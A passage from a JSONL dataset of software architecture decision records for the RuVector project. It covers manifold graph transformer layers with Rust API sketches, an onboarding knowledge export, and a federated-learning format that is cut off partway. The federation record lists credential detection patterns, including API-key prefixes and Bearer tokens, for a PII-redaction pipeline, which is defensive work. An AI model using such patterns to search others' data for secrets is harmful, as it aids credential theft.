bridging to `ruvector-economy-wasm::{stake, reputation, ledger}`\n5. Implement `ShapleyAttention` in `economic/shapley.rs` with Monte Carlo Shapley approximation\n6. Add benchmark: `benches/economic_bench.rs` measuring equilibrium convergence on a 10K-node graph with 5 best-response rounds\n7. Integration test: `IncentiveAlignedMPNN` with 100 nodes, inject 10 adversarial nodes, verify slashing and reputation update\n8. Verify build: `cargo test --features economic -p ruvector-graph-transformer`\n\n## References\n\n- ADR-046: Graph Transformer Unified Architecture (module structure, `AttentionRegistry`)\n- ADR-047: Proof-Gated Mutation Protocol (`ProofGate`, economic invariant proofs)\n- ADR-048: Sublinear Graph Attention (`SublinearGraphAttention` trait used by VCG and Shapley)\n- Research: `docs/research/gnn-v2/29-economic-graph-transformers.md`\n- `crates/ruvector-economy-wasm/src/stake.rs`: `StakeRegistry`, staking/slashing\n- `crates/ruvector-economy-wasm/src/reputation.rs`: `ReputationScore`, decay\n- `crates/ruvector-economy-wasm/src/ledger.rs`: `CrdtLedger` for distributed state\n- `crates/ruvector-economy-wasm/src/curve.rs`: bonding curves\n- `crates/ruvector-dag/src/qudag/tokens/staking.rs`: stake-weighted consensus\n- `crates/ruvector-dag/src/qudag/tokens/rewards.rs`: reward distribution\n- `crates/ruvector-dag/src/qudag/consensus.rs`: BFT consensus\n- `crates/ruvector-verified/src/gated.rs`: `ProofTier`, `route_proof`\n- `crates/ruvector-verified/src/proof_store.rs`: `ProofAttestation`\n- Vickrey, \"Counterspeculation, Auctions, and Competitive Sealed Tenders\" (J Finance, 1961)\n- Clarke, \"Multipart Pricing of Public Goods\" (Public Choice, 1971)\n- Shapley, \"A Value for n-Person Games\" (Contributions to Theory of Games, 1953)\n- Nash, \"Equilibrium Points in N-Person Games\" (PNAS, 1950)", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-054-economic-graph-layers.md", "created_at": "2026-03-28T11:58:49.654178+00:00", "content_hash": "cdb5864a5daf14af290cdf4e1b87855023c4857a872f4afb5f449dcea6eb368e"} +{"id": "b26a2035-97c9-40b0-bba0-1070992a2b50", "source": "adr", "text": "# ADR-055: Manifold-Aware Graph Transformer Layers\n\n## Status\n\nAccepted\n\n## Date\n\n2026-02-25\n\n## Context\n\nNearly all deployed graph transformers operate in flat Euclidean space. This is a geometric mismatch: power-law degree distributions (social networks, citation graphs) exhibit tree-like branching that requires exponentially many Euclidean dimensions to embed without distortion. Hierarchical structures embed naturally in hyperbolic space (exponential volume growth), cyclic substructures embed on spheres (positive curvature), and hybrid graphs require multiple curvature regimes simultaneously. A product manifold decomposition S^n x H^m x R^k captures all three regimes, but existing graph transformers do not operate natively in such spaces.\n\nRuVector has substantial infrastructure for mixed-curvature operations:\n\n- `ruvector-attention/src/hyperbolic/poincare.rs`: Poincare ball operations, `mobius_add`, `mobius_scalar_mult`, `frechet_mean`, geodesic distance with epsilon-buffered projection\n- `ruvector-attention/src/hyperbolic/lorentz_cascade.rs`: `LorentzCascadeAttention` with Busemann scoring, Einstein midpoint aggregation, multi-curvature heads at logarithmically-spaced curvatures\n- `ruvector-attention/src/hyperbolic/mixed_curvature.rs`: `MixedCurvatureAttention` combining Poincare and Lorentz models\n- `ruvector-attention/src/curvature/fused_attention.rs`: `MixedCurvatureFusedAttention` with `FusedCurvatureConfig` for E x H x S product manifold\n- `ruvector-attention/src/curvature/tangent_space.rs`: `TangentSpaceMapper` for 10-100x faster tangent-space operations\n- `ruvector-attention/src/curvature/component_quantizer.rs`: quantization of mixed-curvature components\n- `ruvector-attention/src/transport/sliced_wasserstein.rs`: `SlicedWassersteinAttention` for optimal transport on manifolds\n- `ruvector-attention/src/transport/centroid_ot.rs`: `CentroidOTAttention` for centroid-based transport\n- `ruvector-attention/src/sheaf/restriction.rs`: `RestrictionMap` for fiber bundle structure (Lie group equivariance)\n- `ruvector-attention/src/sheaf/attention.rs`: `SheafAttention` for sheaf-structured attention\n\nHowever, there is no module that provides curvature compatibility proofs before merging embeddings from different manifold components, geodesic message passing with parallel transport along shortest paths, Riemannian optimization (Riemannian Adam with exponential map), or Lie group equivariance (SE(3)/SO(3)) as a graph attention layer. The research at `docs/research/gnn-v2/27-hyperbolic-mixed-curvature-graph-transformers.md` describes the mathematics but defines no integration path with the proof-gated mutation protocol.\n\n## Decision\n\nWe will implement a `manifold` module in `ruvector-graph-transformer` behind the `manifold` feature flag. The module provides `ProductManifoldAttention`, `CurvatureAdaptiveRouter`, `GeodesicMessagePassing`, `RiemannianAdamOptimizer`, and Lie group equivariance via sheaf bundle structure.\n\n### ProductManifoldAttention\n\nS^n x H^m x R^k product manifold attention with curvature compatibility proofs:\n\n```rust\n/// Product manifold attention on S^n x H^m x R^k.\n///\n/// Bridges to ruvector-attention::curvature::fused_attention for the\n/// fused kernel. Before merging embeddings from different manifold\n/// components, a curvature compatibility proof verifies that the\n/// component curvatures are consistent (no NaN/Inf from mismatched\n/// curvature parameters).\npub struct ProductManifoldAttention {\n /// Fused curvature config from ruvector-attention.\n fused_config: FusedCurvatureConfig,\n /// Per-component learned curvatures (extends FusedCurvatureConfig\n /// beyond its single hyperbolic_curvature to support per-head curvatures).\n component_curvatures: Vec,\n /// Tangent space mapper for efficient computation.\n tangent_mapper: TangentSpaceMapper,\n /// Proof requirement: curvature compatibility.\n curvature_proof: ProofRequirement,\n}\n\nimpl ProductManifoldAttention {\n /// Product manifold attention forward pass.\n ///\n /// Decomposes features into (spherical, hyperbolic, Euclidean)\n /// components, computes attention in each space:\n /// - Spherical: normalized inner product on S^n\n /// - Hyperbolic: Busemann scoring via LorentzCascadeAttention\n /// - Euclidean: standard scaled dot product\n ///\n /// Merges via learned mixing weights: beta_S, beta_H, beta_E.\n ///\n /// Proof gate: before merging, verifies curvature compatibility:\n /// - Hyperbolic curvature c > 0 (no degenerate flat limit)\n /// - Spherical embeddings on unit sphere (||x_S|| = 1 +/- eps)\n /// - Poincare embeddings inside ball (c * ||x_H||^2 < 1 - margin)\n /// Routes to ProofTier::Reflex (scalar/norm checks).\n pub fn forward(\n &self,\n features: &[f32],\n graph: &impl GraphRepr,\n env: &mut ProofEnvironment,\n ) -> Result>;\n\n /// Compute optimal curvature for the hyperbolic component.\n ///\n /// kappa* = -4 * delta^2 / diam(G)^2\n /// where delta is Gromov hyperbolicity (tree-likeness).\n /// Uses ruvector-solver for sublinear graph traversal.\n pub fn estimate_optimal_curvature(\n &self,\n graph: &impl GraphRepr,\n ) -> f32;\n}\n```\n\n### CurvatureAdaptiveRouter\n\nRoutes attention to the geometrically appropriate manifold component:\n\n```rust\n/// Curvature-adaptive attention routing.\n///\n/// Analyzes local graph structure around each node to determine\n/// which manifold component should receive the most attention weight.\n/// Hierarchical neighborhoods (high tree-likeness) route to H^m;\n/// clustered neighborhoods (many triangles) route to S^n;\n/// flat/uniform neighborhoods route to R^k.\n///\n/// Bridges to ruvector-attention::curvature::{fused_attention, tangent_space}.\npub struct CurvatureAdaptiveRouter {\n /// Fused attention for computing all components.\n fused_attention: MixedCurvatureFusedAttention,\n /// Tangent space mapper for local curvature estimation.\n tangent_mapper: TangentSpaceMapper,\n /// Learned routing weights per node.\n routing_dim: usize,\n}\n\nimpl CurvatureAdaptiveRouter {\n /// Route attention based on local graph curvature.\n ///\n /// For each node v, computes local Ollivier-Ricci curvature\n /// (via neighbor overlap heuristic) and routes:\n /// - kappa < -threshold -> hyperbolic component (H^m)\n /// - kappa > +threshold -> spherical component (S^n)\n /// - |kappa| <= threshold -> Euclidean component (R^k)\n ///\n /// The routing decision is soft (sigmoid gating), not hard,\n /// so gradients flow through all components.\n pub fn forward(\n &self,\n features: &[f32],\n graph: &impl GraphRepr,\n env: &mut ProofEnvironment,\n ) -> Result>;\n}\n```\n\n### GeodesicMessagePassing\n\nMessage passing with parallel transport along shortest paths:\n\n```rust\n/// Geodesic message passing with Levi-Civita parallel transport.\n///\n/// Standard message passing aggregates: m_v = sum alpha_{vu} * W * h_u.\n/// This assumes all values live in the same vector space (Euclidean).\n/// On a manifold, values at different nodes live in different tangent\n/// spaces. Aggregation requires parallel transport from T_{h_u}M\n/// to T_{h_v}M along the geodesic connecting h_u and h_v.\n///\n/// For Poincare ball: transport uses gyration (Thomas precession).\n/// For hyperboloid: transport uses Lorentz boost.\n/// For sphere: transport uses rotation along great circle.\npub struct GeodesicMessagePassing {\n /// Manifold type for transport computation.\n manifold: ManifoldType,\n /// Attention mechanism for computing weights.\n attention: Box,\n /// Proof requirement: transport preserves vector norm.\n transport_proof: ProofRequirement,\n}\n\npub enum ManifoldType {\n /// Poincare ball B^n_c with curvature c.\n PoincareBall { curvature: f32 },\n /// Lorentz hyperboloid H^n_c.\n Lorentz { curvature: f32 },\n /// Unit sphere S^n.\n Sphere,\n /// Product manifold with per-component types.\n Product(Vec),\n}\n\nimpl GeodesicMessagePassing {\n /// Forward pass with parallel transport.\n ///\n /// For each edge (u, v) with attention weight alpha_{vu}:\n /// 1. Compute geodesic from h_u to h_v on the manifold.\n /// 2. Parallel transport W * h_u along geodesic to T_{h_v}M.\n /// 3. Aggregate transported values in T_{h_v}M.\n /// 4. Map back to manifold via exponential map.\n ///\n /// Proof gate: verifies ||transported_v||_g = ||v||_g (transport\n /// preserves the Riemannian norm). Routes to ProofTier::Reflex\n /// for norm comparison.\n pub fn forward(\n &self,\n features: &[f32],\n graph: &impl GraphRepr,\n env: &mut ProofEnvironment,\n ) -> Result>;\n\n /// Compute Frechet mean of neighbor embeddings on the manifold.\n ///\n /// Uses iterative Riemannian gradient descent:\n /// mu_{t+1} = Exp_{mu_t}(-eta * sum_i w_i * Log_{mu_t}(x_i))\n /// Converges in O(1/epsilon) steps for non-negative curvature.\n pub fn frechet_mean(\n &self,\n points: &[f32],\n weights: &[f32],\n dim: usize,\n ) -> Vec;\n}\n```\n\n### RiemannianAdamOptimizer\n\nRiemannian Adam for training on product manifolds:\n\n```rust\n/// Riemannian Adam optimizer for product manifold parameters.\n///\n/// Extends ruvector-attention::training::optimizer with Riemannian\n/// operations: exponential map for parameter updates, parallel\n/// transport for momentum, and Riemannian gradient rescaling.\n///\n/// Uses existing poincare.rs exp_map/log_map and\n/// lorentz_cascade.rs tangent operations.\npub struct RiemannianAdamOptimizer {\n /// Learning rate.\n lr: f64,\n /// Beta1 for first moment.\n beta1: f64,\n /// Beta2 for second moment.\n beta2: f64,\n /// Epsilon for numerical stability.\n epsilon: f64,\n /// Manifold type for exp/log map selection.\n manifold: ManifoldType,\n /// First moment estimates (in tangent space).\n m: Vec,\n /// Second moment estimates (scalar, no transport needed).\n v: Vec,\n /// Step counter.\n t: u64,\n}\n\nimpl RiemannianAdamOptimizer {\n /// One optimization step on the product manifold.\n ///\n /// 1. Compute Riemannian gradient: rescale Euclidean grad by\n /// inverse metric (conformal factor for Poincare).\n /// 2. Update first moment with parallel transport from old\n /// tangent space to new tangent space.\n /// 3. Update second moment (scalar, no transport).\n /// 4. Bias-corrected update in tangent space.\n /// 5. Exponential map back to manifold.\n ///\n /// Proof gate: verifies updated parameters remain on manifold\n /// (c * ||x||^2 < 1 for Poincare, _L = -1/c for Lorentz).\n /// Routes to ProofTier::Reflex (norm check).\n pub fn step(\n &mut self,\n params: &mut [f32],\n grad: &[f32],\n env: &mut ProofEnvironment,\n ) -> Result>;\n}\n```\n\n### Lie Group Equivariance via Sheaf Bundle\n\nSE(3)/SO(3) equivariance for 3D molecular and protein graphs:\n\n```rust\n/// Lie group equivariant attention via sheaf bundle structure.\n///\n/// Models the graph as a principal G-bundle where G is a Lie group\n/// (SE(3) for rigid body, SO(3) for rotation). The fiber at each\n/// node is a copy of G, and restriction maps from\n/// ruvector-attention::sheaf serve as the connection (parallel\n/// transport of G-representations along edges).\n///\n/// This is the manifold generalization of gauge-equivariant MP\n/// (ADR-051): gauge invariance is Lie group equivariance where\n/// the gauge group is a Lie group.\npub struct LieGroupEquivariantAttention {\n /// Sheaf attention for bundle structure.\n sheaf_attention: SheafAttention,\n /// Lie group type.\n group: LieGroupType,\n /// Irreducible representation degrees (for SO(3): l = 0, 1, 2, ...).\n irrep_degrees: Vec,\n}\n\npub enum LieGroupType {\n /// Special orthogonal group SO(3): rotations in 3D.\n SO3,\n /// Special Euclidean group SE(3): rotations + translations in 3D.\n SE3,\n /// Unitary group U(1): phase rotations (electromagnetism gauge).\n U1,\n}\n\nimpl LieGroupEquivariantAttention {\n /// Equivariant forward pass.\n ///\n /// Decomposes features into irreducible representations (irreps)\n /// of the Lie group. For SO(3), these are spherical harmonics\n /// at each degree l. Attention is computed per-irrep using\n /// Clebsch-Gordan coefficients for tensor products.\n ///\n /// Proof gate: verifies equivariance by checking that a random\n /// group element g applied to input produces g-transformed output.\n /// Routes to ProofTier::Deep (requires forward pass with\n /// transformed input).\n pub fn forward(\n &self,\n features: &[f32],\n positions: &[f32], // 3D coordinates for SE(3)/SO(3)\n graph: &impl GraphRepr,\n env: &mut ProofEnvironment,\n ) -> Result>;\n}\n```\n\n### Proof-Gated Manifold Invariants\n\n| Operation | Proof Requirement | Tier | Latency |\n|-----------|------------------|------|---------|\n| Poincare ball containment | `c * \\|\\|x\\|\\|^2 < 1 - margin` | Reflex | < 10 ns |\n| Sphere normalization | `\\|\\|x_S\\|\\| = 1 +/- eps` | Reflex | < 10 ns |\n| Hyperboloid constraint | `_L = -1/c +/- eps` | Reflex | < 10 ns |\n| Transport norm preservation | `\\|\\|Gamma(v)\\|\\|_g = \\|\\|v\\|\\|_g` | Reflex | < 10 ns |\n| Curvature positivity | `c > 0` | Reflex | < 10 ns |\n| Frechet mean convergence | Residual norm < atol | Standard(200) | < 2 us |\n| Equivariance check | Random group test | Deep | < 100 us |\n| Optimal curvature estimation | Graph traversal for Gromov delta | Standard(500) | < 10 us |\n\n### Feature Flag\n\n```toml\n# In crates/ruvector-graph-transformer/Cargo.toml\n[features]\nmanifold = [\n \"ruvector-attention/math\",\n]\n```\n\nThe `math` feature on `ruvector-attention` gates the hyperbolic, curvature, sheaf, and transport submodules. For Lie group equivariance, an additional sub-feature is available:\n\n```toml\nmanifold-lie = [\"manifold\", \"ruvector-attention/sheaf\"]\n```\n\n## Consequences\n\n### Positive\n\n- Hyperbolic components embed hierarchies with O(log n) dimensions instead of O(n) in Euclidean space, reducing model size by orders of magnitude for tree-like graphs\n- Spherical components capture cyclic/cluster structure without wasting capacity on non-existent hierarchy\n- Curvature compatibility proofs prevent NaN/Inf from mismatched curvature parameters, a common silent failure mode in mixed-curvature training\n- Geodesic message passing with parallel transport is geometrically correct, unlike Euclidean aggregation in curved spaces which introduces systematic bias\n- Riemannian Adam enables direct optimization on the product manifold without projection bias\n- Lie group equivariance guarantees SE(3)/SO(3) symmetry for molecular and protein graphs\n\n### Negative\n\n- Poincare ball operations near the boundary (||x|| -> 1/sqrt(c)) suffer from numerical instability; epsilon-buffered projection mitigates but introduces small errors\n- Frechet mean iteration does not have closed-form convergence rate for negative curvature; may require many iterations for widely-spread point sets\n- Riemannian Adam adds ~2x overhead per step compared to Euclidean Adam due to exp/log map computations (mitigated by tangent-space approximation for small step sizes)\n- Lie group equivariance via Clebsch-Gordan coefficients is O(l^3) per tensor product at degree l; high-degree irreps are expensive\n\n### Risks\n\n- Learned curvatures may collapse to zero (degenerate flat limit), losing the benefit of curved geometry. Mitigation: curvature lower bound enforced via proof gate (c > c_min = 0.01)\n- Mixed-curvature training is known to be sensitive to learning rate; too-large steps may leave the manifold. Mitigation: Riemannian Adam with manifold constraint proofs at every step\n- Component quantization (from `ruvector-attention::curvature::component_quantizer`) interacts poorly with curvature -- quantization errors in hyperbolic space are amplified by the metric near the boundary. Mitigation: use higher quantization precision for hyperbolic components\n\n## Implementation\n\n1. Create `crates/ruvector-graph-transformer/src/manifold/mod.rs` re-exporting all types\n2. Implement `ProductManifoldAttention` in `manifold/product.rs`, bridging to `ruvector-attention::curvature::fused_attention` and `ruvector-attention::hyperbolic::lorentz_cascade`\n3. Implement `CurvatureAdaptiveRouter` in `manifold/router.rs`, bridging to `ruvector-attention::curvature::tangent_space`\n4. Implement `GeodesicMessagePassing` in `manifold/geodesic.rs`, using `ruvector-attention::hyperbolic::poincare` for exp/log/transport\n5. Implement `RiemannianAdamOptimizer` in `manifold/optimizer.rs`, extending `ruvector-attention::training::optimizer`\n6. Implement `LieGroupEquivariantAttention` in `manifold/lie_group.rs`, bridging to `ruvector-attention::sheaf::{SheafAttention, RestrictionMap}`\n7. Add benchmark: `benches/manifold_bench.rs` measuring mixed-curvature attention throughput on a 50K-node hierarchical graph\n8. Integration test: product manifold attention on a synthetic graph with known curvature, verify embedding distortion is lower than Euclidean baseline\n9. Verify build: `cargo test --features manifold -p ruvector-graph-transformer`\n\n## References\n\n- ADR-046: Graph Transformer Unified Architecture (module structure, `manifold` feature flag, `mixed_curvature.rs` bridge)\n- ADR-047: Proof-Gated Mutation Protocol (`ProofGate`, manifold containment invariants)\n- ADR-049: Verified Training Pipeline (Riemannian optimization verification during training)\n- ADR-051: Physics-Informed Graph Layers (gauge equivariance via sheaf, related to Lie group equivariance)\n- Research: `docs/research/gnn-v2/27-hyperbolic-mixed-curvature-graph-transformers.md`\n- `crates/ruvector-attention/src/hyperbolic/poincare.rs`: `mobius_add`, `mobius_scalar_mult`, `frechet_mean`, `exp_map`, `log_map`\n- `crates/ruvector-attention/src/hyperbolic/lorentz_cascade.rs`: `LorentzCascadeAttention`, Busemann scoring, Einstein midpoint\n- `crates/ruvector-attention/src/hyperbolic/mixed_curvature.rs`: `MixedCurvatureAttention`\n- `crates/ruvector-attention/src/curvature/fused_attention.rs`: `MixedCurvatureFusedAttention`, `FusedCurvatureConfig`\n- `crates/ruvector-attention/src/curvature/tangent_space.rs`: `TangentSpaceMapper`\n- `crates/ruvector-attention/src/curvature/component_quantizer.rs`: mixed-curvature quantization\n- `crates/ruvector-attention/src/sheaf/restriction.rs`: `RestrictionMap`\n- `crates/ruvector-attention/src/sheaf/attention.rs`: `SheafAttention`\n- `crates/ruvector-attention/src/transport/sliced_wasserstein.rs`: `SlicedWassersteinAttention`\n- `crates/ruvector-attention/src/training/optimizer.rs`: base optimizer\n- `crates/ruvector-verified/src/gated.rs`: `ProofTier`, `route_proof`\n- Nickel & Kiela, \"Poincare Embeddings for Learning Hierarchical Representations\" (NeurIPS, 2017)\n- Gu et al., \"Learning Mixed-Curvature Representations in Product Spaces\" (ICLR, 2019)\n- Chami et al., \"Hyperbolic Graph Convolutional Neural Networks\" (NeurIPS, 2019)\n- Becigneul & Ganea, \"Riemannian Adaptive Optimization Methods\" (ICLR, 2019)\n- Fuchs et al., \"SE(3)-Transformers: 3D Roto-Translation Equivariant Attention Networks\" (NeurIPS, 2020)", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-055-manifold-graph-layers.md", "created_at": "2026-03-28T11:58:49.654289+00:00", "content_hash": "33852b93aaf4e9828e4248f70d76cdbdc8db703ffe146c382aabc34c24f14b14"} +{"id": "216ae959-925c-42c2-a269-f9177b868b95", "source": "adr", "text": "# ADR-056: RVF Knowledge Export for Developer Onboarding\n\n**Status**: Accepted\n**Date**: 2026-02-26\n**Authors**: ruv.io, RuVector Architecture Team\n**Deciders**: Architecture Review Board\n**SDK**: Claude-Flow\n\n## Context\n\n### The Onboarding Problem\n\nThe RuVector project has accumulated 3,135 commits across 99 days (2025-11-19 to 2026-02-26), producing 91 crates, 55+ ADRs, and a sophisticated RVF format specification. New developers face a steep learning curve:\n\n1. **No single entry point** \u2014 Knowledge is scattered across ADRs, commit messages, code comments, and claude-flow memory\n2. **Implicit architecture** \u2014 Many design decisions live in commit history, not documentation\n3. **Format complexity** \u2014 RVF has 25 segment types, 5 domain profiles, and integrations with 7+ libraries\n4. **Computation depth** \u2014 85+ crates covering GNN, graph transformers, solvers, LLM inference, quantum simulation, formal verification\n\n### The RVF Opportunity\n\nRVF (ADR-029) already defines a self-describing binary format with META_SEG for key-value metadata, WITNESS_SEG for audit trails, and the `rvf-adapter-claude-flow` crate for memory persistence. A knowledge export in RVF format serves as both:\n\n1. **A practical onboarding artifact** \u2014 Everything a developer needs to understand RuVector\n2. **A live demonstration** \u2014 The export itself exercises the RVF format, proving the format works\n\n## Decision\n\n### Export all accumulated project knowledge as an RVF-backed knowledge base\n\nThe export lives at `docs/research/knowledge-export/` and consists of:\n\n1. **`ruvector-knowledge.rvf.json`** \u2014 Structured knowledge base in JSON (human-readable RVF manifest representation)\n2. **`QUICKSTART.md`** \u2014 Developer onboarding guide distilled from the knowledge base\n3. **This ADR** \u2014 Governance record for the export process\n\n### Knowledge Segments\n\nThe export maps project knowledge to RVF segment types:\n\n| RVF Segment | Knowledge Category | Content |\n|-------------|-------------------|---------|\n| META_SEG (0x07) | Project Identity | Name, version, license, repo, timeline, statistics |\n| PROFILE_SEG (0x0B) | Architecture Profiles | Crate taxonomy, module purposes, feature flags |\n| WITNESS_SEG (0x0A) | Decision History | All ADRs summarized with status and rationale |\n| INDEX_SEG (0x02) | Dependency Graph | Inter-crate dependency map for navigation |\n| OVERLAY_SEG (0x03) | Evolution Timeline | Major milestones and architectural shifts |\n| SKETCH_SEG (0x09) | Patterns & Conventions | Coding patterns, testing strategy, CI/CD practices |\n| JOURNAL_SEG (0x04) | Lessons Learned | Debugging insights, security findings, performance discoveries |\n\n### Who Uses This\n\n| Audience | Use Case |\n|----------|----------|\n| New developers | Read QUICKSTART.md, browse knowledge base for architecture overview |\n| AI agents | Load knowledge base as context for code generation and review |\n| Contributors | Understand design decisions before proposing changes |\n| Downstream users | Evaluate RuVector capabilities and integration points |\n\n## Consequences\n\n### Benefits\n\n1. **Single-file onboarding** \u2014 One JSON file contains the entire project knowledge graph\n2. **RVF dogfooding** \u2014 Proves the format's metadata and witness capabilities\n3. **AI-consumable** \u2014 Structured format that LLMs can parse and reason over\n4. **Version-controlled** \u2014 Ships with the repo, stays synchronized\n\n### Risks\n\n| Risk | Mitigation |\n|------|------------|\n| Knowledge becomes stale | Export script can be re-run; ADR mandates updates at major versions |\n| Export is too large | Structured by segment type; consumers can load specific sections |\n| Sensitive data leaks | Export draws only from public repo content, never from .env or credentials |\n\n## Related Decisions\n\n- **ADR-029**: RVF canonical format (defines the segment model used here)\n- **ADR-030**: Cognitive containers (export is a lightweight cognitive container)\n- **ADR-031**: RVF example repository (this export serves as a living example)", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-056-rvf-knowledge-export.md", "created_at": "2026-03-28T11:58:49.666391+00:00", "content_hash": "c6f207fba627e124ce0641dc758b557c6c5dbe643ca95197fac214f80acba089"} +{"id": "d2842b47-dcb5-4577-a166-f4007d0d74a0", "source": "adr", "text": "# ADR-057: Federated RVF Format for Real-Time Transfer Learning\n\n**Status**: Proposed\n**Date**: 2026-02-26\n**Authors**: ruv.io, RuVector Architecture Team\n**Deciders**: Architecture Review Board\n**SDK**: Claude-Flow\n**Supersedes**: None\n**Related**: ADR-029 (RVF Canonical Format), ADR-030 (Cognitive Containers), ADR-056 (Knowledge Export)\n\n## Context\n\n### The Federation Problem\n\nRuVector users independently develop modules and crates, each accumulating valuable learning patterns: SONA weight trajectories, policy kernel configurations, domain expansion priors, HNSW tuning parameters, and convergence data. Today, this learning is siloed. User A discovers that a specific LoRA rank and EWC lambda combination works well for code review tasks, but User B must rediscover this independently.\n\nThe existing infrastructure already supports local federated learning within a single deployment:\n\n1. **SONA `FederatedCoordinator`** (`crates/sona/src/training/federated.rs`) aggregates `AgentExport` from `EphemeralAgent` instances, replaying trajectories above a quality threshold into a master engine. Supports `Star`, `Hierarchical`, and `PeerToPeer` topologies.\n\n2. **Domain Expansion Engine** (`crates/ruvector-domain-expansion/`) implements cross-domain transfer via `MetaThompsonEngine` with `TransferPrior` (compact Beta posteriors), `PolicyKernel` (population-based policy search), and `CostCurve` (acceleration scoreboard). The `rvf_bridge` module already serializes these into RVF segments `0x30`, `0x31`, `0x32`.\n\n3. **RVF Format** (`crates/rvf/`) provides 25 segment types with 64-byte headers, SHAKE-256 hashing, Ed25519 signing, WITNESS_SEG audit trails, and forward-compatible unknown-segment passthrough. Segments `TransferPrior (0x30)`, `PolicyKernel (0x31)`, and `CostCurve (0x32)` already exist.\n\n4. **Google Cloud example** (`examples/google-cloud/`) demonstrates Cloud Run deployment with axum HTTP server, GPU benchmarking, and self-learning models.\n\nWhat is missing is the **inter-user federation layer**: the ability to strip PII, package transferable learning as RVF segments, publish them to a shared registry, and merge incoming learning with differential privacy guarantees.\n\n### Why Now\n\n- The RVF segment model is stable with 25 types and a clear allocation map\n- The `rvf_bridge` proves that `TransferPrior`/`PolicyKernel`/`CostCurve` round-trip cleanly through RVF segments\n- SONA's `FederatedCoordinator` demonstrates that trajectory aggregation with quality gating works\n- The Google Cloud example provides the deployment foundation\n- Users are building domain-specific crates and would benefit from shared learning\n\n### Design Principles\n\n1. **Optional**: Core RuVector works without federation. All new crates are feature-gated.\n2. **Privacy-First**: PII stripping happens before any data leaves the local system. Differential privacy noise is injected at the export boundary.\n3. **RVF-Native**: Learning is exchanged as RVF segments, not custom wire formats. Unknown segments pass through unchanged.\n4. **Cryptographically Verifiable**: Every export carries a WITNESS_SEG chain and Ed25519/ML-DSA-65 signatures.\n5. **Incremental**: Users can share only what they choose. No all-or-nothing.\n\n## Decision\n\n### 1. New Segment Types\n\nAdd four new segment types to the `0x33-0x36` range in `rvf-types`:\n\n| Code | Name | Purpose |\n|------|------|---------|\n| `0x33` | `FederatedManifest` | Describes a federated learning export: contributor pseudonym, export timestamp, included segment IDs, privacy budget spent, format version |\n| `0x34` | `DiffPrivacyProof` | Differential privacy attestation: epsilon/delta values, noise mechanism used, sensitivity bounds, clipping parameters |\n| `0x35` | `RedactionLog` | PII stripping attestation: which fields were redacted, which rules fired, hash of pre-redaction content (for audit without revealing content) |\n| `0x36` | `AggregateWeights` | Federated-averaged SONA weights: aggregated LoRA deltas, participation count, round number, convergence metrics |\n\nThe existing `TransferPrior (0x30)`, `PolicyKernel (0x31)`, `CostCurve (0x32)`, `Witness (0x0A)`, `Crypto (0x0C)`, and `Meta (0x07)` segments are reused as-is.\n\n### 2. New Crates\n\nNine new crates (seven within `crates/rvf/`, two interface crates):\n\n| Crate | Path | no_std | Purpose |\n|-------|------|--------|---------|\n| `rvf-federation` | `crates/rvf/rvf-federation` | no (std-only) | Core federation protocol: export builder, import merger, version-aware conflict resolution, selective sharing |\n| `rvf-pii-strip` | `crates/rvf/rvf-pii-strip` | core: yes, full: no | PII detection and stripping pipeline: regex patterns, path normalization, credential detection, configurable rules, REDACTION_LOG segment generation |\n| `rvf-diff-privacy` | `crates/rvf/rvf-diff-privacy` | core: yes, full: no | Differential privacy primitives: Gaussian/Laplace mechanisms, privacy accountant (RDP), gradient clipping, per-parameter noise calibration |\n| `rvf-gcloud` | `crates/rvf/rvf-gcloud` | no (std-only) | Google Cloud integration: Pub/Sub publisher/subscriber, GCS object store, Firestore metadata registry, Cloud IAM auth |\n| `rvf-fed-aggregate` | `crates/rvf/rvf-fed-aggregate` | no (std-only) | Federated aggregation server: FedAvg, FedProx, weighted averaging, Byzantine-tolerant aggregation, round management |\n| `rvf-fed-wasm` | `crates/rvf/rvf-fed-wasm` | no (wasm32) | WASM-compatible export path: browser-side PII stripping and export packaging |\n| `mcp-federation` | `crates/mcp-federation` | no (std-only) | MCP server for AI agent access: 6 tools + 4 resources over JSON-RPC 2.0 stdio |\n| `rvf-fed-server` | `crates/rvf/rvf-fed-server` | no (std-only) | REST API server (axum): export/import/aggregate endpoints, SSE events, Prometheus metrics |\n| `rvf-adapters/federation` | `crates/rvf/rvf-adapters/federation` | no (std-only) | Adapter connecting SONA's `FederatedCoordinator` and domain expansion's `MetaThompsonEngine` to the federation protocol |\n\n### 3. PII Stripping Pipeline\n\nThe `rvf-pii-strip` crate implements a three-stage pipeline:\n\n**Stage 1: Detection** -- Scan all string fields in RVF segment payloads for PII patterns:\n- File paths (`/home/user/...`, `C:\\Users\\...`)\n- IP addresses (IPv4, IPv6, loopback)\n- Email addresses\n- API keys (common patterns: `sk-...`, `AKIA...`, `ghp_...`, Bearer tokens)\n- Usernames and hostnames\n- Environment variable references (`$HOME`, `%USERPROFILE%`)\n- Custom regex rules from configuration\n\n**Stage 2: Redaction** -- Replace detected PII with deterministic pseudonyms:\n- Paths become `` where N is a per-export incrementing counter\n- IPs become ``\n- Keys become ``\n- Usernames become ``\n- Preserves structural relationships (same path always maps to same pseudonym within one export)\n\n**Stage 3: Attestation** -- Generate a `RedactionLog (0x35)` segment containing:\n- Count of each redaction type\n- SHAKE-256 hash of the pre-redaction content (proves content was scanned without revealing it)\n- Rules that fired\n- Timestamp\n\n### 4. Differential Privacy\n\nThe `rvf-diff-privacy` crate provides mathematical privacy guarantees:\n\n- **Gradient Clipping**: Before aggregation, clip per-user gradient norms to bound sensitivity\n- **Noise Injection**: Add calibrated Gaussian noise (for (epsilon, delta)-DP) to aggregated weights\n- **Privacy Accountant**: Track cumulative privacy loss using Renyi Differential Privacy (RDP) composition\n- **Per-Export Budget**: Each federated export consumes a portion of the user's privacy budget. The `DiffPrivacyProof (0x34)` segment records the spent budget.\n- **Configurable Epsilon**: Users set their comfort level. Default: epsilon=1.0, delta=1e-5 (strong privacy)\n\n### 5. Google Cloud Architecture\n\nThe `rvf-gcloud` crate integrates with Google Cloud Platform:\n\n**Pub/Sub**: Real-time learning event propagation\n- Topic: `ruvector-federation-events`\n- Messages: serialized `FederatedManifest` headers (small, <1KB)\n- Subscribers filter by domain, version, and contributor reputation\n\n**Cloud Storage (GCS)**: RVF file exchange\n- Bucket: `ruvector-federation-{region}`\n- Object naming: `{domain}/{version}/{contributor_pseudonym}/{timestamp}.rvf`\n- Lifecycle: auto-archive after 90 days, delete after 365 days\n- 